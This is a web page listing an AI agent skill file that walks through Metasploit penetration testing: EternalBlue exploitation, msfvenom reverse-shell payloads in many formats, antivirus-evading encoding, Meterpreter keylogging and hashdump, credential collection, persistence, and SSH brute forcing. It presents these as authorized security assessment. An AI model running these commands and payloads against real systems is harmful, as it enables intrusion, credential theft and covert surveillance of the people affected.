Smithery Logo
MCPsSkillsDocsPricing
Login
NewFlame, an assistant that learns and improves. Available onTelegramSlack
    davila7

    metasploit-framework

    davila7/metasploit-framework
    Security
    19,892

    About

    SKILL.md

    Install

    • Telegram
      Telegram
    • Slack
      Slack
    • Claude Code
      Claude Code
    • Codex
      Codex
    • OpenClaw
      OpenClaw
    • Cursor
      Cursor
    • Amp
      Amp
    • GitHub Copilot
      GitHub Copilot
    • Gemini CLI
      Gemini CLI
    • Kilo Code
      Kilo Code
    • Junie
      Junie
    • Replit
      Replit
    • Windsurf
      Windsurf
    • Cline
      Cline
    • Continue
      Continue
    • OpenCode
      OpenCode
    • OpenHands
      OpenHands
    • Roo Code
      Roo Code
    • Augment
      Augment
    • Goose
      Goose
    • Trae
      Trae
    • Zencoder
      Zencoder
    • Antigravity
      Antigravity
    • Download skill
    ├─
    ├─
    └─
    Smithery Logo

    Give agents more agency

    Resources

    DocumentationPrivacy PolicySystem Status

    Company

    PricingAboutBlog

    Connect

    © 2026 Smithery. All rights reserved.

    About

    This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use...

    SKILL.md

    Metasploit Framework

    Purpose

    Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.

    Prerequisites

    Required Tools

    # Metasploit comes pre-installed on Kali Linux
    # For other systems:
    curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
    chmod 755 msfinstall
    ./msfinstall
    
    # Start PostgreSQL for database support
    sudo systemctl start postgresql
    sudo msfdb init
    

    Required Knowledge

    • Network and system fundamentals
    • Understanding of vulnerabilities and exploits
    • Basic programming concepts
    • Target enumeration techniques

    Required Access

    • Written authorization for testing
    • Network access to target systems
    • Understanding of scope and rules of engagement

    Outputs and Deliverables

    1. Exploitation Evidence - Screenshots and logs of successful compromises
    2. Session Logs - Command history and extracted data
    3. Vulnerability Mapping - Exploited vulnerabilities with CVE references
    4. Post-Exploitation Artifacts - Credentials, files, and system information

    Core Workflow

    Phase 1: MSFConsole Basics

    Launch and navigate the Metasploit console:

    # Start msfconsole
    msfconsole
    
    # Quiet mode (skip banner)
    msfconsole -q
    
    # Basic navigation commands
    msf6 > help                    # Show all commands
    msf6 > search [term]           # Search modules
    msf6 > use [module]            # Select module
    msf6 > info                    # Show module details
    msf6 > show options            # Display required options
    msf6 > set [OPTION] [value]    # Configure option
    msf6 > run / exploit           # Execute module
    msf6 > back                    # Return to main console
    msf6 > exit                    # Exit msfconsole
    

    Phase 2: Module Types

    Understand the different module categories:

    # 1. Exploit Modules - Target specific vulnerabilities
    msf6 > show exploits
    msf6 > use exploit/windows/smb/ms17_010_eternalblue
    
    # 2. Payload Modules - Code executed after exploitation
    msf6 > show payloads
    msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
    
    # 3. Auxiliary Modules - Scanning, fuzzing, enumeration
    msf6 > show auxiliary
    msf6 > use auxiliary/scanner/smb/smb_version
    
    # 4. Post-Exploitation Modules - Actions after compromise
    msf6 > show post
    msf6 > use post/windows/gather/hashdump
    
    # 5. Encoders - Obfuscate payloads
    msf6 > show encoders
    msf6 > set ENCODER x86/shikata_ga_nai
    
    # 6. Nops - No-operation padding for buffer overflows
    msf6 > show nops
    
    # 7. Evasion - Bypass security controls
    msf6 > show evasion
    

    Phase 3: Searching for Modules

    Find appropriate modules for targets:

    # Search by name
    msf6 > search eternalblue
    
    # Search by CVE
    msf6 > search cve:2017-0144
    
    # Search by platform
    msf6 > search platform:windows type:exploit
    
    # Search by type and keyword
    msf6 > search type:auxiliary smb
    
    # Filter by rank (excellent, great, good, normal, average, low, manual)
    msf6 > search rank:excellent
    
    # Combined search
    msf6 > search type:exploit platform:linux apache
    
    # View search results columns:
    # Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
    

    Phase 4: Configuring Exploits

    Set up an exploit for execution:

    # Select exploit module
    msf6 > use exploit/windows/smb/ms17_010_eternalblue
    
    # View required options
    msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
    
    # Set target host
    msf6 exploit(...) > set RHOSTS 192.168.1.100
    
    # Set target port (if different from default)
    msf6 exploit(...) > set RPORT 445
    
    # View compatible payloads
    msf6 exploit(...) > show payloads
    
    # Set payload
    msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
    
    # Set local host for reverse connection
    msf6 exploit(...) > set LHOST 192.168.1.50
    msf6 exploit(...) > set LPORT 4444
    
    # View all options again to verify
    msf6 exploit(...) > show options
    
    # Check if target is vulnerable (if supported)
    msf6 exploit(...) > check
    
    # Execute exploit
    msf6 exploit(...) > exploit
    # or
    msf6 exploit(...) > run
    

    Phase 5: Payload Types

    Select appropriate payload for the situation:

    # Singles - Self-contained, no staging
    windows/shell_reverse_tcp
    linux/x86/shell_bind_tcp
    
    # Stagers - Small payload that downloads larger stage
    windows/meterpreter/reverse_tcp
    linux/x86/meterpreter/bind_tcp
    
    # Stages - Downloaded by stager, provides full functionality
    # Meterpreter, VNC, shell
    
    # Payload naming convention:
    # [platform]/[architecture]/[payload_type]/[connection_type]
    # Examples:
    windows/x64/meterpreter/reverse_tcp
    linux/x86/shell/bind_tcp
    php/meterpreter/reverse_tcp
    java/meterpreter/reverse_https
    android/meterpreter/reverse_tcp
    

    Phase 6: Meterpreter Session

    Work with Meterpreter post-exploitation:

    # After successful exploitation, you get Meterpreter prompt
    meterpreter >
    
    # System Information
    meterpreter > sysinfo
    meterpreter > getuid
    meterpreter > getpid
    
    # File System Operations
    meterpreter > pwd
    meterpreter > ls
    meterpreter > cd C:\\Users
    meterpreter > download file.txt /tmp/
    meterpreter > upload /tmp/tool.exe C:\\
    
    # Process Management
    meterpreter > ps
    meterpreter > migrate [PID]
    meterpreter > kill [PID]
    
    # Networking
    meterpreter > ipconfig
    meterpreter > netstat
    meterpreter > route
    meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
    
    # Privilege Escalation
    meterpreter > getsystem
    meterpreter > getprivs
    
    # Credential Harvesting
    meterpreter > hashdump
    meterpreter > run post/windows/gather/credentials/credential_collector
    
    # Screenshots and Keylogging
    meterpreter > screenshot
    meterpreter > keyscan_start
    meterpreter > keyscan_dump
    meterpreter > keyscan_stop
    
    # Shell Access
    meterpreter > shell
    C:\Windows\system32> whoami
    C:\Windows\system32> exit
    meterpreter >
    
    # Background Session
    meterpreter > background
    msf6 exploit(...) > sessions -l
    msf6 exploit(...) > sessions -i 1
    

    Phase 7: Auxiliary Modules

    Use auxiliary modules for reconnaissance:

    # SMB Version Scanner
    msf6 > use auxiliary/scanner/smb/smb_version
    msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
    msf6 auxiliary(...) > run
    
    # Port Scanner
    msf6 > use auxiliary/scanner/portscan/tcp
    msf6 auxiliary(...) > set RHOSTS 192.168.1.100
    msf6 auxiliary(...) > set PORTS 1-1000
    msf6 auxiliary(...) > run
    
    # SSH Version Scanner
    msf6 > use auxiliary/scanner/ssh/ssh_version
    msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
    msf6 auxiliary(...) > run
    
    # FTP Anonymous Login
    msf6 > use auxiliary/scanner/ftp/anonymous
    msf6 auxiliary(...) > set RHOSTS 192.168.1.100
    msf6 auxiliary(...) > run
    
    # HTTP Directory Scanner
    msf6 > use auxiliary/scanner/http/dir_scanner
    msf6 auxiliary(...) > set RHOSTS 192.168.1.100
    msf6 auxiliary(...) > run
    
    # Brute Force Modules
    msf6 > use auxiliary/scanner/ssh/ssh_login
    msf6 auxiliary(...) > set RHOSTS 192.168.1.100
    msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
    msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
    msf6 auxiliary(...) > run
    

    Phase 8: Post-Exploitation Modules

    Run post modules on active sessions:

    # List sessions
    msf6 > sessions -l
    
    # Run post module on specific session
    msf6 > use post/windows/gather/hashdump
    msf6 post(windows/gather/hashdump) > set SESSION 1
    msf6 post(...) > run
    
    # Or run directly from Meterpreter
    meterpreter > run post/windows/gather/hashdump
    
    # Common Post Modules
    # Credential Gathering
    post/windows/gather/credentials/credential_collector
    post/windows/gather/lsa_secrets
    post/windows/gather/cachedump
    post/multi/gather/ssh_creds
    
    # System Enumeration
    post/windows/gather/enum_applications
    post/windows/gather/enum_logged_on_users
    post/windows/gather/enum_shares
    post/linux/gather/enum_configs
    
    # Privilege Escalation
    post/windows/escalate/getsystem
    post/multi/recon/local_exploit_suggester
    
    # Persistence
    post/windows/manage/persistence_exe
    post/linux/manage/sshkey_persistence
    
    # Pivoting
    post/multi/manage/autoroute
    

    Phase 9: Payload Generation with msfvenom

    Create standalone payloads:

    # Basic Windows reverse shell
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
    
    # Linux reverse shell
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
    
    # PHP reverse shell
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
    
    # Python reverse shell
    msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
    
    # PowerShell payload
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
    
    # ASP web shell
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
    
    # WAR file (Tomcat)
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
    
    # Android APK
    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
    
    # Encoded payload (evade AV)
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
    
    # List available formats
    msfvenom --list formats
    
    # List available encoders
    msfvenom --list encoders
    

    Phase 10: Setting Up Handlers

    Configure listener for incoming connections:

    # Manual handler setup
    msf6 > use exploit/multi/handler
    msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set LHOST 192.168.1.50
    msf6 exploit(multi/handler) > set LPORT 4444
    msf6 exploit(multi/handler) > exploit -j
    
    # The -j flag runs as background job
    msf6 > jobs -l
    
    # When payload executes on target, session opens
    [*] Meterpreter session 1 opened
    
    # Interact with session
    msf6 > sessions -i 1
    

    Quick Reference

    Essential MSFConsole Commands

    Command Description
    search [term] Search for modules
    use [module] Select a module
    info Display module information
    show options Show configurable options
    set [OPT] [val] Set option value
    setg [OPT] [val] Set global option
    run / exploit Execute module
    check Verify target vulnerability
    back Deselect module
    sessions -l List active sessions
    sessions -i [N] Interact with session
    jobs -l List background jobs
    db_nmap Run nmap with database

    Meterpreter Essential Commands

    Command Description
    sysinfo System information
    getuid Current user
    getsystem Attempt privilege escalation
    hashdump Dump password hashes
    shell Drop to system shell
    upload/download File transfer
    screenshot Capture screen
    keyscan_start Start keylogger
    migrate [PID] Move to another process
    background Background session
    portfwd Port forwarding

    Common Exploit Modules

    # Windows
    exploit/windows/smb/ms17_010_eternalblue
    exploit/windows/smb/ms08_067_netapi
    exploit/windows/http/iis_webdav_upload_asp
    exploit/windows/local/bypassuac
    
    # Linux
    exploit/linux/ssh/sshexec
    exploit/linux/local/overlayfs_priv_esc
    exploit/multi/http/apache_mod_cgi_bash_env_exec
    
    # Web Applications
    exploit/multi/http/tomcat_mgr_upload
    exploit/unix/webapp/wp_admin_shell_upload
    exploit/multi/http/jenkins_script_console
    

    Constraints and Limitations

    Legal Requirements

    • Only use on systems you own or have written authorization to test
    • Document all testing activities
    • Follow rules of engagement
    • Report all findings to appropriate parties

    Technical Limitations

    • Modern AV/EDR may detect Metasploit payloads
    • Some exploits require specific target configurations
    • Firewall rules may block reverse connections
    • Not all exploits work on all target versions

    Operational Security

    • Use encrypted channels (reverse_https) when possible
    • Clean up artifacts after testing
    • Avoid detection by monitoring systems
    • Limit post-exploitation to agreed scope

    Troubleshooting

    Issue Solutions
    Database not connected Run sudo msfdb init, start PostgreSQL, then db_connect
    Exploit fails/no session Run check; verify payload architecture; check firewall; try different payloads
    Session dies immediately Migrate to stable process; use stageless payload; check AV; use AutoRunScript
    Payload detected by AV Use encoding -e x86/shikata_ga_nai -i 10; use evasion modules; custom templates
    Recommended Servers
    StudioMeyer-Crew
    StudioMeyer-Crew
    DataForB2B
    DataForB2B
    fillin
    fillin
    Repository
    davila7/claude-code-templates
    Files